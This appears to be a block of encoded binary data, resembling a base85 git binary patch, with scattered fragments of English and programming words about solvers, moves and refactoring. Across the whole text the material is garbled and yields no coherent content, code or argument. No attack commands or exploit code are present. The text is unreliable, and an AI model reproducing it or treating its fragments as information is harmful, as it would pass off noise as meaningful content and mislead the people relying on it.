zB47FDVN2-*-Q8N8u?LGBkjH@{2j$TwkG5fKyFA{0z^~NadA@xf9r8Ft3LW$4Byy;5 zZ;qYA;9+?jo=0B=y9rOsqh}sRRoDbeT9`t-M?$Xo0bLT&W=IbyZl$t3%27JSOBZQNe5S zxK3nJ9@mC`!c?@wzMIVM&{S|k9yjJOGmm@oxQWiABzFp@3U3$QBD^(^+e898(?UL7 zKsYOp2lJo;lRqR037cz99uMd7NFI+eHjlZA zdW^0T>aa#ngq-?Mi9eIavw1u%gBw)S=OlkVj~DWl&)jLB@1h59s=u7aD{P7aZYp42 z9`o}!pnwAlcr}mL^7w^m^LSkr7Ui)xk2msoQ^B|LSSUhk3pj%4mL2g<9`8!XtxnLz zjD0VU_e0GOMEFsN5A#@($5(lLoySLcEY0InMSUz>p2vzjmW8R1ev zDg^@%Srg71pXKp+9%~i#MIK+~|JwtvlW_e$srZOtLmnF?`7w`gM83^qa~_+-`5s{K z7~(qxx90JE9$P{$V(m_w;&aJSqH|$3J=O z&f_-)f6wEOJpL4?&A&u;<^9HR=>lw}5&D)GwfM0Zj^MP(VY)HVSp<*vyv~OSoSFO$%sQ!2XJDCTt;W zF6^k=1ZuWYkf~aWFyG)k1F_ceo(1nB|M>k9%1Zp1sosp z;DhidD%exV-(8+kK(7Ku7BH%SQw!)_zI8-e6ek?_%Pv+0xm98`r%MX z018A++V;0(wru|TR6RdI|{h7fEfz1B(y`kOFraZLd_Qocq!yBt5nqIHLrmAq5RdbPv4N_y#n4Z;LQTwDqw*m z?}VCf7ykQiDep?SkOM9Jz1RnmEDP0C9=AJH3fWHz-I-lm4xO0obIGOFnQ2`Unr`rUfWwIzP^C3M7|DFaR_WI;2Q-u z3BMP9TfkQl= z-wOCWC=^gEpj3ccfG1(OfYy2`aqnX<6f6CZ*66y9&K6kNNDJh3$pGL3+m` zjtX@SEuxcn=TOq6h_1|{h{KEMR>YB#A0Z63C@d|v5ZxsqVesfM?J-3hE8asG{N&_> zB2Fyg=OVTj(X)t?idbC4hee!R#3@BwTf}um^eW=iBF-zKUlF~F{>i|ZLXy*p=p)XI zP8T^t#@SGe?OViI3Z7lWIU;md%Fhk^w|^1m7csPmVMPoGZ4N5pf+8*~;vz}-Av-1+ zs3auIhhwnhLyF+=B%l4NudV?=^dQRfn+3WApxaYYeV z7IBq?W5cMx<~SuBU&I8-uMUebQ9SPVpIG8`2u5had`?Bhi|QN)u9&J{jI zKhfugg4y6137-`{Ck$re7sclbUlP77d_~B7=gAJqt3|xVF%s^0e4}^d z98yBZ5)PH5tFV*goyA$gE+v0uWCahC{O}UGDe4Fzqq)u_l)IX|(qs2LkGRUZ7 z73@*MaU~qDR40@$yo3=YoLE9nNlq%^B9W6zIHiPMC7fEqxh0%eLhlkzE8)x%`j*g# zhyNvt6qV^1tnZ4Auaedl_~Op z5)LY1a0x@iFD_wd3B&eDOZ_1CktK{O;pGxuDPeR8V@jA-!t@d@DdAE&ObL_OYb9JR zJL5~ZqJ*&}j8pJRA#=Q{UMu0f65cQ2^)T&QB5#!N zW+-8H3rcvqgm+4KSHgvARTlM>z4; z3BLqEj#<4mx1)reZ0FVZwS?bF_+1kw=fGJ6BAHO070H#54l3Gph+-${1+%K+4TaT&)rCx3L!_dNnxUkYNNr)AGU|%d3uEhxG!SkWj7Finu}Bl) ze!`|@Gz(*!i?k@CrO5uFyj2;k#e;LOgUV=A#st_zSlcq%l`*D_OUgKgQ%V_!l+m$_ zqw1i28OwkUW!$U(lXz$uoyzD{#^(BXx&occIIfK2%ji-@*D?k*#$jdjDC6H6IK1qC z^|YG|9wDUVBSpFkj}jgoM3r%DKs;|mZLH*%#60hWGEOYxq%uw}oy&0}(=O2lz<9~rKqc@-bD&HY2WCQdmV<0#GWt>sQnPv1X<7j@dr;M{i z`U@#JTjU(!xn-Ou(oeX%!cTI(_y8e;7tlg;Tv$dBJ1~?F5*aLH6u(w|aT!D9E%cLN zBEy9v$`~2SN0l);H@GfCB-UXB~lU`KDePzVUNR)AZ84r~4 zOc~FXF{_LR%XqAe$IE!AjM-&8T*f11%qfFk5SmrPcS{m>^z;0UFng1~#B6|i4Se|% zWjtBNQ}l;2n(%pgeg88HbIa&c;RmTXsJ1^#JXHhFmGOKTZBk&^bdNGtl<`R!D_Q=k zm|X)?dt=2fI7W?Azrt^#HD!ES#=0`rm+@H{pR=;;rV8K4+A_XiOR6y^*1+5K{dQ~J z96cJ~t1`Y;cE6Odp^S}mn=*bV$E8e=_=t@?c#Tgv#jrvLf} z@9ud!&r!*?`mu~{W&Bje&zxTB;_Wv0sV05~wo?MX*fU!B<++seXBj)n*jdJ}W&FdT zRK{;*{LYbH#x5zdrzzHZIiRHE9pqAI9m)Z%*FmL zTDgAEaS?G5b$u7*Ma?QM8oFrY`n;-(YA&j~sNtf*^m+DZHt zQ&qHfae#{hrAaj|;uJDRat_b7F50=+)zqIboAHAZTm@XTcQK8J|1J)3(b2`BF3xpv zo{LT{I=lXf@fj|)M|qN|I;6g=F;Q7(=a@8;qN7e}(p+;QpZ&UWBg949Lm$GSLG zYCT*W=i)>cJzX3x$pu^jT>PXYGe`fi4EQSmk21i@`32 zxVYBEbuKP;G1SE<7o%Mab1~e-2p1!%T-#q6->QL*b#M=-_zJY&h~sNwjEhTLT;pPr z3y%{>1umt7HO6HwE~jtspTD@6;9{bSu`aIU{4XKpSG(8Q*~JtWH@leX;(8Z1xVX{9P4Z8cWOQr4gbga-R^Xn-zSG{~ z;#Lg{D?j+4i$`2M>f#|6vt7)Q^21>gD)3@j;$tqJl>BiQPq1-h zFu=L{=s!d5;w={oTs-IEc^C6s%$LFoO7*gf7hSw09vDw6mscbqf7Qin(tp#%>mqLm zgJSH9Z%h83i}zi;GF21I5&N=L_ z8u*I*SFCe=f1rn~=g{VTL=Cj%`6rJ@8sU*sv7#ZC0-IcX>*9MCTj(S;eb?QrR2&H3 z(P>-z3IBQ)t7l^?eYHOKD*g^+8;30?6BmEEc&`zDcJaH5KU{2g@r&zkOE{qZrc-8h$ zC**ZS>Iv%$8whV`jK&@Z9lCn_PgtBwaXkOox5s}R#`2??=MVYie38uantLF&5VjP4 z)yiL7Sj~GHp|yttJRIoZAP;Rk9O9v)$9_jU5A8j4@NjqoE*$>em9r3?iW{C06{u6w zpR7m@_0Y*fXAfOGEUD$I(LdSL>EpT)L9PXi;hqFBP0*>%-q{sj5!dic9MsaJzsK) zhdv_Yy+ls+&^wfz=AojQuXeg5XN2-IMf!3vm)o4<;am?hJly5sJP-XmTUg6(-;FO4XKpA7uIU*<1L=Q!MoM(M?bIIL~a*O^DtfH zjxhF4_I`6;^KK9Kc$n+qDGxKLRs-$p^L2f{Q||R}pNIQBJm6uLhev!T^d9u^kcWrq zpY8nd)vy+3dzd4Aj{Pe%1K=dYD)6X>$2>glplvY!*W{lu*c&^!0?HObspAxyhrvukk@A(R*A0`t`Rcf zr>ez|6~5Z%60Q|~;o(a~Q9hn)frqaZ+~r||hm9V7@whF-Hy#^@1Ke+lZ#``G@S`|` z-+BIGwAI7+9=1sMI}h#sG3fo^;rhmYEQ8eCrr4kSKJ|mVw$nvx_&Ve}Jp2~g-09)h zkQbWackw?sX-J<2gCtD#mxsR<`%kF9TlSetOp>B7?ja$P^pFiTQzB^(84><3mk+x6 zCCPcnOH$C(6s#bWmpK22XpECU(@RF3Y%M%Mcp&T`k-5YD8{2lUgJGj#V_+Pr z91HDX9blYB4uKsDV_qF$hr&9+I>U~FHQ}*8Nh2HvJDjypeYtOBy}H4UfE@|z&UdDo z`P)UxdGRKWoaGG2(MocRbUx(dPy77%GwgWS39u7k110GxJe6e-ISF>M2$fF}=>_8k zhQZTdePHKHc)IW`HVfeh1^zApVv7Go(DTugpwetpMw2E%ajj*T@dPAC~^^u zAFN>1AO!~thrlit844RNLWN1u@8)s&!u#v zC;b1MwbEZ8{ObzXSlE>?_Wo6{t3|jtj#Iz$4v~}CcshyB4XDFA=xbn;q;@UrJ=puO znYC~oY%**Lj17K0>=xLq%JBx+jj)?wH^ZjF?ykj|$3KW0sim2C8|-%2Yp~a0)956y zS77sCcfjt1Jq&vUHbD+K1I7&r2gqHt1G@)CK2ueGQ2buleIk_KFY*9vRw&tE{@{8@ z`mr zhLV?HFN@QGxvQDa9^qiDK;3r!&X!%kwT5%`8?ZNF@4()Ly+vQGi3PB?`E6hokK^S9 zUEJEe(!kGgA=NZjQ{IdFf6fMG9UEW~Y%$9QTLSwH_B-q&*izURurFaB!7kuG31Z?2N$*-_N!*C ziG2Pm$Kc-Ye;W8Zggb?7b56W;cy`Snus{8u*jf&@3-%Z6Z`eOD?iHKX!Bj1&yJ7$O zA7e0%RyOY*jt==M9WSP)h_jmpAfX(S!jv!#|7=cy@^RG8H?t7TT( z>|V3`%<7ocHS1$`x>-H5`esL)9b?wOtf5(BvnFQTw^yl;MrKdd2ZtnkzpCN73j77^ zXa2})YSzrGxf%Pnh1oRzuE(sU+5Tp&%s7PGn6)))EzaNpW(S%bq>DjbOxVusU@3GF zwl_P3UMk)}_|G^TDnk8EO3PHdI-4;nu+vovhY4w)CFv$SLU^RGyYMI>lOJo=!|YVE z-sZ16sTw$rozaZ@aPN3lpQk`(CyMkGo+Lb3c#5!>kp9CtkoSY9nJujFZ=6{qw)q)m zXPRARcDY$!v$M?3F+106a9y++h_lT&Kmunt&unIM^fP-@PZ>B6`kQ^q!ymH&<}cqD zm<>^HUTAiaSxWXPA1L7<+7w|inD51ALzy*aezQ@M4;NB0LS&>FpT$sfwAmQ5OC+Q< zzE^gsco2Jq*;upjW)tXa&2XjJ)#gv#SFzprLmpw53;Y{o?y_!Vcl5?Yvs=t=HGlhY zjoBo#Yt61Rn{0No*;KQw2>1VH*VFU4`4`?OWRY$%`?jWEHfk<|ene@?%6??F)QnRxdwDq@0dR`ojeu~uaD~|?B9yNb zStVS}0o&bo=Fd1OnSF1z#cVC77q%h4Th_=QQ(u^UY5p#2o!NSkuh`cjUkf(~Hwvlt zjoGG<)5kW4{5z36J%nzog>{pjHT*#D;%|Y?wu!vZ%)bHIZuX1WZnJ+mj?8wL{blyI zKR040dtre;tJB$jHB0jR$1KJ>2=PD6{xmzX35rdy%Pj8S-+Av;pew%uEkEQ^)s&Mz zlb99FO4N}&Z`OVe67()U{N+$JOPgiPvSv9mKKF@M_&M^tf;00Wwfxi3+Z*_UsG#ns z&VN176lJpt$7(wMaC6N(S%%{;6?9-nSVb6dEGk0FjH)V5Qca|~V>LuR*6lzohf4{L zX$uZ#mSGPUBgg7F_Dyx$RNd-3*1)kFqyE&<(6L62&4}1t5o_#N6USCK^nC0`c|$aH zteImYwb9}Ro>OIW$67en(y{#=oA21Gj75#u}5Y3Xx7ECV;$?^*wv1W zckDRFj(6-l$ND*Tf@3H0x4n+_cC4pkCpmVqW2eY+hyIw-8olbGmt(6gL#6@f5?#~+ zr#aTgv9laI+p*IfJHxRv9qY@c;{z|P_`^Jp1MM*G;)2aTo4POGMle1x8Smfbd)@S+ zRDZ|LcWeZk*RcVPUEtVY$A&m|p<@?0Hqfy_|G)in_OWxZV?!Mq=GgH6yR@Sm8|~QT zY--2Guz4N3)UnI{Z<}KsyV9|%92@t4+nnIoM0$(kkM3(6o8;Kdj!kv!S~k98QyjbA zvD+J?Z+%R5jPokjM~!6}Hr=t?nB1`& z+F^8i|BR7~dn>I7chH~T#hs4vSO2{6X9KSG@BO{I9J|}GdmNkT*n^HeMBk&1V-K(j zswqAEe#c^Zy2>8ew+&}IHpj7t9ed>euJ2=xJ?_{Ojy>tvi&WMF!MTp*xs#;J)#pvU z_q2k~&|^iO<1iFqRF1oJaS{e!3gs_57RZm)L;PVq{d3OO9DCidw;WsG*c*<$DF9EoMT;7HK%tIvYHj{ZMVr z=RUlH;K1a4!BWRQc5Inr%N;9M_*rn+ z8#%w}>Cev`M4bN}+vM1{>ZZ+({lEdmBOu4Vmz!-7vIn<{(DC@}U~&!osNgo?PeKZ5 zZM%~HBK)6YJ49%3r!pn^-LXF$`^T}}j{T_uaDU4~KjJROn)3X|vA;!FS_XLz^DpP0 zdWf^l)hXP}#MnUt{B@8yUdiA8I+k{2}2U{=>oi z|GyDyDz#=p>NgkR^t*q=caIJcJ0#+-U#%k6TID%F$buahv4h0h2-}A8b`d)`lR(6dh**z^9T%}9 zBi21){Kr5?MQl4)6Frc;yxUdBt zirDOkjn>^R^Igoln}|IUu^*b_(TF`3vBx9!fu=hS7N&Y4VoyeFZp5C7*jZ6KJ8Dly z?3swYM$e&pMC`eUy%4b%>DUpg+Rjhn4Dj=17SkKxrHH*s7xkZdcrQo%so)jiJmLI^ zL2rUF)s5UaMC?s^7k6k;dn;lK=&n&)(bgX(Z)>a_8?|>L_HM)$M(n+aVyTWrZI{Y+1yXic>h3cLCxnBKFBX@|6+e6(|r_ zM{Ese{xH>NB71edP;h<3z7qLTxK0)VBVR{sql6oj1%)iYH!dg+Q z9ko)#$`NxppL4N@TGc4O^57r$M52D1^P+KQA5KX$>NgtgR14)bM5;$Cd#WO8H6;lO zMywOHx>0KzwRTaf7q$9P+dpcpqShd44WrgHYR#h7C~A$P)+B2C?URhCsr4P=)+>p$M&Mbb<+?CW%{$Xk-3QM)AS?+1oO{bM?2Jv?e7I6Lv6Qb;l?YNJCw zMuhja+!$~Qx}1fK+W4qVh}zhwT`5ynldH9_qLXOnIWB6~w)GFFw<^`ds9h7a8>Bo* zjm*1RHv6?ve<8arYLlZjCF&o^@}lH=$pfB~=1o!m7XId_O^wQUWpi`wl` z`yy&zMr~Turblf})INPP+y zW=h@&b>0*?jpsj{_M^6#`AYI`)D}kVJ$g}XU!T|eQR7ZK;2%V7k<>ctAcDdr9Fnb}Mh> z*F|kT+rOI4sb*hA?dz!3sbY1j*oLUTDDy7k$Ea=Ou;S)ld2I@F{8nVM@H^r6QQIQ2 zRrrIDrG2S8wz2x$cd?LB+a9%FqV`+Ve&>kb;lFUFa7WbG%fa!&uXIK6Kce<$)bdd) zu*IZCg`~(|QTsb;|3qzf)c%cHJdE8V5)%eSXg0A=FeRQ=2{Td4DwtD_EHLd;zsPA{ z3ehTlIm=<$Tq%280;-rP$`J;|j{HBWz66Yl>3@G-%-lP3_j~8wxzoPN5)x&tNZCp$ z(WWBVO4(DR1PQ*6j%tY!q#jZ1^^Y zB``dJvW<$3kq$;V2y9esthVu?jnGC78#mjy#YRmVwQTgX(aT0{8+B|PW8+vGb#2tM zaj=c%HtO4GU}Ik!``Kt{qmhk$Y%?M?wz0R3Cc5b4ES=az7s*k9HJuA4Hk#Tv(8fUu z@~ay20pcnCEJlRN&1^HPCppB%p*D`PakRWz*f@;Yx6xA04bnNn#=C*VsE%YQNy30k ztCfw`Hrm*rJn|)>7cY{wHjay&Hrm-}Z{s8zC)+qa);U3;81speyr+zGu+dRYMi?0% z+1$xSXB(&5=whR*jnkyVRCq1vVs%qgr`tHgHg5rFB+aAo-KEw;80Cnz^|o=5jlnj~ zw9&^#UmN{c#Wv29+F3Tvw$Wd_#lOaeb8HN-!4hNGrpjGIE^8*EIlah=L%yp8J>+p^}S zsW7=HQQ|}!H`=&K*<^MiFUrYpwQ-w`X*TY)F^RRnCru@KyN$^b0n{i~ulQy2R@rsRCZ7j6$w2kL&yda%t zY%H?ztT;<)u?XXTPBC+}jSYYXylCSkHar_IOU?>n%#np`giDo2RueT}v+=r(w`{!4 zwqawLjpa7pv_WH{ys*Z3MY(8V;~n-j8!K$AjJtW1o%f_e{=QOV?XQyL139Cp*4S9f zk;Fkg2kUHn#ID3=D91$pv5jwSd}rem8|!U+YU4BZ6dPaJ_+0U9uWV#25qPXVGOGWTlpK&{z>h zsYeP$2PFqp2cZMsL0Os=;c!_SDF+TXTrk2K4r)56<)F4>s-BW49u{?-SVH^Rw(C1+ zz<3;Va!hM)=%AT{gB>)Y84mV#(8R%h4)%AjkCJ0l`${v4md&ZDg998K=-?nJFd+^p z|4o#o*WAG&4vuxu*1@3;TF?duM>%Ne;4lY=J2)aP5Zb^Pep4=@c6hXdRt{P_XruTU zGshpA!Hd0y%E!=PRp@aJ+BrDE!HEvqOZj*q^{Gky(Y!A>IN3o52OZ;bpqv%=+<)#n zw4t+ueh$uZaH@kY4!Sxx&A}NCx+}tNvi5XgwrXOIinoV@UJiOor>A4?UmN)5m$_4W zW=&DEkAuEappee99rSl_v4cw-oa11Cg9{xDl)||V&UbKugY#72w92&Pc*aOFNCsTw zV6X@!)M5D$hbVRGU+Um82Uj^5=HPM%S2(!R!O&QrL3sVQvW7bt;oxcq*GPvJMsbd* zSbONcOvz{mV;po#;PeEpbugBi4t{em&cSsKUUsn5!FUJPJGkG$0}gI*Fu}nj2e&(z z=-@`>?p6mkIk?%uEpjs2$P88%Q;ZC|EiS0Z4(@PpkAtZW?sPE4!CemSj%zT|XAB%7 z7?6b5Gza%OxG!$2(I7)P6{b6Q(81#lo^bGxgNGf=aqy_pn&DuUgGU_9l#?;@0hWeE zr8HZy@yT(ngLw|-J6OQ}5)UcVc}$^LQ0!R;$&4o*Jmp}qgXbJ9bnvu;Mbe=q&!~i% zM09(7HkNa8^1Oo=9K7h@B^IU)w%f?^$P9M6B@ULDEyufFVO?-frh_#OUUl%AgV!Cr z;ow~dD;z9yu-w6$4&G8)%m{5`_k7y{O?`*MRE2xUO%*eKl9dkLbFj+62M*qsJxqn6 zR`Ks_9Nq)dR936lX){Bu<>2q&YX{#r_{hP>4nB9V!NDgE);svr!DmW0GP|cDWDLwW z!+zo5O9x*$*eLn`ijkHuzfot|fj=eO#f>!y{N>KY=|G*ed}$fjtu@UzA681Qs2gY%`QF-DCo80(nm66Yvs9C6GxV zn?O2Y3WP;OHI`~LpQL^+VFGfx#riEKP~x0Ffl9*M9sGpRXCY9TZGfo+Qf4S}O2Pzc zBv3PfS_w2rpkV^F6R49wJ*jcz;bf++IJ3Z1>WheIY72^^Ea2??B-z_AImO`u%@?Gt90WtlMGaS5Cz&Er*2 z48lTV11331Npwh{qsYk#u*~U21#%+q1)UP;EZoZs7{lUxnOK(h+iP2vwH$P z#Cs;tD}mk#oS8uX1kOpIPXc`t=$F7*vh#${qMbCDnL1lBvptVfW(Op2ZUW~eaK1FD zz_f@|W)hL}!UP5;Fepy<@&qnQU~mFMB)L?0aRQgHRO5*j!(JviV<5jm{7T_a;Z?#Y zi4m+3?WnmifvXd^CV`QXj7#7;kx>bZj&;WHE+9TuxWB$z94~%-tiz8|ZxEj#oJhm; z+Jbmf0yigcORO0!^xZ1wZ3#>giC#B!j@B*`n3BLZ32aJ$8%6F);MC66*9qL6FiVK{ zBrr9BX$jn$z>5jIl)!xn+@HYg1m+~n3%Caoctm7+0uPdiGuN{ccsPL>3CxrvU)wC; zbFqj>NmspFB!4u4xd}YYCYr#!1m-93l=SJfK;-cR9%BdB$0iK*L;_Dr&K+pfp@eZR zl!VbPBC)OK<$PAiPq7w@Jjb!ZGeKUElZ5(95_ma*4-;6Ez*5QI626kas|mao1?0Ra zf!Ad-L%ks(H~cIY>C659G`nD8=Jj?0?7sq=vG_$fqiv zFBAAm0XHVVbeU6PgAV+b#Pr#36ZkHHT+%F+RQU+NFNV2EMUP4>Q4>KuGh$oY9MJVx-NX0yzL`FO-WU*5rpEUdW3P}`` zC?(-1(J+ZdNtBbQBvC7g+EnnYfQ7?pzp$D_D8e^`tToDOCe5ZV5?*!WRbNt2=U1Nqmno}iB?IpPU4Ov?o6Uh62~NQeG)e$acmN8lQ=zz zGmm4w%+ zNpz9CYwUYk65YgWsD!&GvAvbq7TzPNw;0?moxZ5$rZ8WDk)r(#KOGulDI30IY~U4#NA2Ulf->V+@HkMB=`Y4H*!o%;$gi3xmT4^r(m}8J&?ro zBpytfq4g%cml?~tmfAzqPhv*WyzQNtG+RL)5uYW_=EQ4u(rn!?r>wb2%uC{>B$gyG zzP>d-iN}+8B8dg6N)B0%CC$y6uMeJNHR-nXLedPXPYD+$@w5mf&xkBa;#m>4|HU*o z_I*C;HCzQ!cDPyVWpF2)+O;#5+5hAm<`^=CrPYluXJ&S3+~7JG>Ow(baU|;>pF=INqmvS9xnED z@nsTUC9yM!Ka<#)#Mepu!QP~-eUrpbN&K9|rX*NRY^1uzM zZJ~Lb#45-ystDG_)+Bxv|4q0pmjBLL&Y3-*e5cP=!IrioiKM=y{ws;UllUizf0?hU z#d_y$^xwSMRn8A3cBvJy5G>c!HNWEE8X(DDE^HSm7ikxci-e1$3)khBFXrP5c7zLS zm>}ryP5zrLi(lmBRn8oR3a%L*i^7s?KC_~;;({Np z9?wu^D{#&0wyKNJMGY4!K0$Vbzn6mNXEl@9v)GbH3fs z1@RirisiM8=Rde+3d#+E`?%Ow!u?zv;Nn0R`@3lBVlO_5@(3F4OxtW7t+N6c^CE5< zlyXa9bKxN_4s{Xfv`|2D4ugj=r!J0gaioi5Tpa7-D5@#l*33>FtCfOtLQC7IPi*6w z@s^~mi{o6hm%^8N!AG@r$^~tpB{cqJZUmyW`~=v=Ng^i;I|w^6tcy-AI=kp9$*Hb+ zRoBHul{4r1rd@GlV28E(m`}7Q+@jaJJ=D7=w=w(SySwNilX|-7<)XKXGhOs`(a!}x zcK+8g8=L#MX1HVUvqUK8D>h0PTYnelxESE#To>oLINt@g%ij5cc?Zy$4r~G&0xcBZ;?>=h>O`Q2M?i#IW8V``NkHTUCebc&&667>ty777w=LnYb{W3 zeaywDEtdCJ8?7tgzR!Nt>(un8>|c}BQM_^gme=p4>QCC+&x`HL==x_CvB zms~6nq5Nf$=!xl77jMY)|ICKl6rC z!%BN*61By}KWZDlxY%mO5VOI9*Kce^Fnk+L%3Ht3@;_W`S841J?iBth{7d+^kO5ij z|8nSdxd%+6y$4$a9`+E~Q`jmV19^+&VC#5Dcu3026{b9RBGLE79HV$^cvwA}gMZF5 za~^KL&wHj83LZBDqvXN&Q1K9W=A$H@@Wc5)*)ua1HYXa!Lpk_SIY|u7(#R$UMEJabQ}@0n4wp?Cw&^rLYa(;9hb>|t;DHu2EHLrV|) zc-Ys&ejfJs(9FZZ9!Bs*m4|~w4)AcG2-^VV#E3+^xrakyU&;@SIeicFaI}Y3k{s^g z2#*gnI7&|1M&$@wduZd~c#n@WIL5=V9@RK1ov62OgeZRAZQ$3vKp_}sFMcCCd<2Ikj*sxh6tSlaK@^;>A7(T;8ch7wC$x}Fb zcogMjXR;>gGkxA@>5-MQB~lfMx4KwHzu8^vsj>AT|=ujQQk)B^e^T*uy1~Un;yz z$UkgSll9IC(ohdqc^KwlxG7cZM$cNuuM5lOm;$GXHG(zL(3+rm)JPAbJUqxo;$gIh zF&@Tx80VQm_!ifEfO9RIw;JJfY$sW3x@W#>q1od-T<_rq4--60^l-a}$sTTG9y!k! zlHBCsX7O8MNz}n_^DrrvaA3K^!<`70wfK zi#1F2F%OS>c+$gDYBNu$d}@T|NC!r{&@+4K`I*ntp1HO0Fq~&R^FYBn>>>}(dge)C zv5@3B56`n1$jL5A$&2DId04_u>S1ZD`MQT!#9#HyG>n?B$w~f(hh^f+*?73}BVHb0 z_KF`i&w9t>4j;-ovLNteVe6J{NBA@P){i!morI zJ$&uq8xNa2{J^9oWVL?l;XCo~g_~86QFXH(f0FPQ;m;nn$d}1cfxcTMr}I}43b%1s z@bHI>JegkurLf(@4mo!U-4y=x@Rx_b<#bZ!w(^h1`L-duSk#h`TO$0FcMp+0g-nYh zzb!sdJt!fb6tbW4yfrU{R0`=7G7|bJWJU7AoR9~yF$rFU6pE5O%WZxs5GgE6Qi

g(=h!uNg~fiPRR>Ng+ICcg*!9sV{7h;s>y3ltSYa_D`v6t0q-Y3)xnt@<*{2c~dH%G?w3xQL1UjbBS#s9PDJe6eb`r9Vn98Y2u1gAC<8=9nBD-z36sOi! z&n{N?6ndmEIFBKD^h}{w3h!j_ZU((mIFkvb(J_raDfCU@hZKHHp5vYHxOqf+Lv@v0Q)%ZUVU zZNnHFKLitw5MIrUi;NUF*DP)r%-kQQ~DNKunlTx@#{Pq+k$HF^OxKrsyQB8^Y-BP$mI5k#g zwD+cPpPcunFg=z(pil!e8aycBLo9qbXQnVKg;gnhz^2}U=dI!K6rM<#InwMD=CEq` z7C;T2ZGLVF^I|?fg#|HxOoV3(hBQ zj{r@X4a{$|p{6j3OKQURg)356De|6>6H6*Ye07SSf#aJLHl?s8WhM+8Qaq!;TC2?R zCbf>^e+m=!Hjhpp(@yqK;dEF^6A_rg2ajJ5m^(vUYOtPvI{$jC>k}H2zNEA36U`VXrjoGO-mTa z{hw(Znnv3+j!UCO8ZFZ}JdGpLI4sSEZPq|I)*Y#(;I>??O`Ef8I9WQ1YJ3GOY$a?h zq_9mI$A}**e9bk_KJC(IpT>!4oFrq8Pn#DgC!|gPKI!}Tc%$n+IQrW@rKaES%xGIfdXGV zd|0fJoD)>`^fsY2oLNg_TpHJ<&HR%?$JJ?Elg3Du7-zy%V_lC*V{}~aW74=*eC&T} zpA+3`KFY3_2uE8Y|N|< zA$!(yX)_ObUKpvps1b%bFQ>6IjknWyCyiI)_OM*!RpD!Cye{%a?7K{aCH7`4c`Lnp z&F5W7RtZydN!C6Niq_J9(57Sta#@bka9b1UnAsbA-Y<-f(`ZPAD@k1J) zssnzN#>O;06K9Y6Tx5gr3*nc-XxZdzmGdSIHQ$JH)Z%#ZZ5rRHK-j{+S9S9z=0B$K zQ`$VWB{KM#gFi=R4LBTge&Kj7zBQKoD)O6f8yly{AHwZI9x};*JJa}6&cB3z|Htbe z@qanShDMW@l`$vyknADcGlRV{urp|1wi+rnCu3ek(MhD8$&9hq&A`hbl|fogN^&9@ zVKxK49H)?1K7&H6L!qC+I zSfrV-wg!#n;)e(i74qa&cB{h}X9hDfn3cg18626xv<&Xe;HZr0M3XaS=w|MY&Y)EW ztutto!7&-!kTIVLADcnj42EYgB7@^HXqUm68T3&_v}Y0-bjslP3{J@4L>8BVbYNMD z@K{~OFh=`tNjhfC*UBWFGdMMa?iuvRpi2f_GdL}SZW%P6X7netFnD?fXJqh3Z;Qk@ z`D#yZBFKAY(2JA*jQJ$_y58oZ4kKrBeKY8n!Qc#rWN=mnXJ>G32Ion$KdU%{0g8>v zk0=$!!0Y@BF34a|1{cZq!VCtA@F_k@nq}BsoVQ@=U!1`u8C;RUm5e!q%QCoJ`cZx( zWI(1eRPw7b7?wfL4kllGQ9|TJwX5YzK1Spk;m8a|#q!Z2!+7{}24ls?3C9bs%YeVw zi(zMkql;M@Ky$I zXRx_y@pu8=ZsugnW7ne@%*|k42J_h@-l2J15Th(p9GGx7L1gHL!v)KkX#3_i`^*9?Bk;4}7Xy=wnSUuN)C20uu+F@vu&_%?&@GWaIe-;^;gWumZC`xwHb1HO-aH;XJ(%s*z#*+h}% z&lzly*Du1Yu|7xOZQ_3ke;58C+%9DB9U1J5`JWjuEJIQLw}k)1k}603EK*tUh;<&^ z#y+@5)+~YY+B1v2Vs48#StLlr-7K!+G3?UxvKS-IqT9&B|Fg(tQ7enuSu=)T$H6~q zo;M3w6tgI0;b&1p5(>*%RI&)NTzfZbk6bROX3Z;0a$aGUE6;}4lzyaBCyTmS^BA=^ z6Ve;rdReo)Szk!fAd7}EZ1F|@f zCS}n~S)inO76-?i57d*SBcRki(|4ljJ{bMk;Rc&@I+`91vkraCU8{NjQl)0 zfKLZ3-lM6>wb?9Mi;%O29-BqmEV^XTmD!{*od45ina!me>bxv#kI&)+*>GZP$w^t9 z9Pt~^RhTUi=k{VSzM6Cg;`w5jCj^S>g!K8 ze14&AgR8 zSxm@cd=}TsNuBN~Gh?5a#f@1^%HsAcZi>Bb6S+ByTe7&7g(*!cGZb+P=KzsVPNub% z&v6PeC5yX6?#|-AEbbS-CyS{f3_C50du3{5Bqa}IF+Gb1BL!K`7mXN~{In2&tP8MskSeG>~4Ijh2k;A$Elf_HoOR{)bWN8+!X7O4U zudu-vOvm944K5X0LoB}K8PUO77KeRHWO){E#uC0Od^_gvWbv-}3gOCF{$3XE^A;c{ z=Zd`ioV8k(e<)=8S))e9yzs64M_K$({Fud0 za#A7EVGJZh2H%>+uUY(-#kMSV#_|6yvOSAG6f@O$?U0a3M3MX%$N9I&KN>dwHA5(@ zoEf5d?UCb|x7fLy&`$Ln4P{4z7fS9K0M-(vM*i2Tk<^b< zY49Jb8s~6e4hQA1cMeT*JPp;@wqFkWi|nh|7!QR_B{?8Ao|5kyTg~J=IEUu3{E#@6 z7C9U$PGhLtGL|zoSND-4b2uu8_BkA%GdI?wbKnOxY}j0NZ8k$ z3EK%dPV&j|gd95OaB2=G=FClm37wR~$x63_kdlrfr{vH{giC@HvQKrPrq+nM=FGkC zG+{R(ou`YOA?z;fkuxv#dW!cFr&^yJ`m%!ZsF6p%9L~zY%9}G@&(5KL4m)z#nZr3b z49MYv94^e^+#Gm5HkT-w+4E$N#SeiQiY34$tQ>flFiU284uf*ID2Ks049Vf89G2v8 zaSoT{a9`Q)44kL58 zl?@|@Q8|p3*Tfvg$eCv=#=vVzoZ>wqQ*)RWOYV*JsT@W7Kn~L- zT$sayIXoo3Acu!@n89&AhdGkW%wbj>mc~3H{=XC-m2+MWbN_$&{Mf3;a(G-`PY9pP z;q>_F<|#=&Yid26!!zQGgwG3~&0%p4&xuDiM|pf9hZiMWr!sswhou~2bNEEUSA;8a zcr}OD*y?h4Lz1_J%Y<(Vm;a|0-iobd67S^jt`wq@U&%)RYUZ#?!ZpGVgsbBiK9rMT z8Dwn^>v+kwk0g)cq3`+}zR6)z4xjQCki+LJf1W5PoeepBA@XG$=RHndSv~Q$AH8r|XTgR?R$W<&wBPV}2g}Sw5^; 